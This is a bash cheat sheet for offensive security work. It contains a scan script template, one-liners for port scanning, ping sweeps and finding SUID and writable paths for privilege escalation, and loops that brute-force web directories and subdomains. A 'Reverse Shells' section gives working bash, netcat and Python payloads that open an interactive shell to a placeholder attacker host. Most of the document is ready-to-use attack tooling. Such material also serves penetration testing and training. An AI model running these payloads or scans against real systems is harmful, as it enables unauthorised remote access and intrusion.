# Bash Security Automation
## Script Template
```bash
#!/bin/bash
set -euo pipefail
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
log() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
error() { echo -e "${RED}[-]${NC} $1"; exit 1; }
usage() {
cat << EOF
Usage: $(basename $0) <target> [options]
-o FILE Output file
-t NUM Threads (default: 10)
-v Verbose
EOF
exit 1
}
[[ $# -lt 1 ]] && usage
TARGET=$1
shift
while getopts "o:t:vh" opt; do
case $opt in
o) OUTPUT="$OPTARG" ;;
t) THREADS="$OPTARG" ;;
v) VERBOSE=1 ;;
*) usage ;;
esac
done
log "Starting scan on $TARGET"
# Main logic here
```
## Useful One-Liners
```bash
# Port scan without nmap
for p in {1..1000}; do
(echo >/dev/tcp/$IP/$p) 2>/dev/null && echo "$p open"
done
# Ping sweep
for i in {1..254}; do
ping -c1 -W1 192.168.1.$i &>/dev/null && echo "192.168.1.$i up"
done | sort -t. -k4 -n
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find writable directories
find / -writable -type d 2>/dev/null
# Extract URLs
grep -Eo 'https?://[^ ]+' file.txt | sort -u
# Parallel execution
cat targets.txt | xargs -P10 -I{} curl -s -o /dev/null -w "%{http_code} {}\n" {}
```
## Reverse Shells
```bash
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Netcat
nc -e /bin/sh ATTACKER PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER PORT >/tmp/f
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```
## Enumeration Snippets
```bash
# Web directory check
while read path; do
code=$(curl -s -o /dev/null -w "%{http_code}" "$URL/$path")
[[ $code != "404" ]] && echo "$code $path"
done < wordlist.txt
# Subdomain brute
while read sub; do
host "$sub.$DOMAIN" 2>/dev/null | grep "has address" && echo "$sub.$DOMAIN"
done < subdomains.txt
```
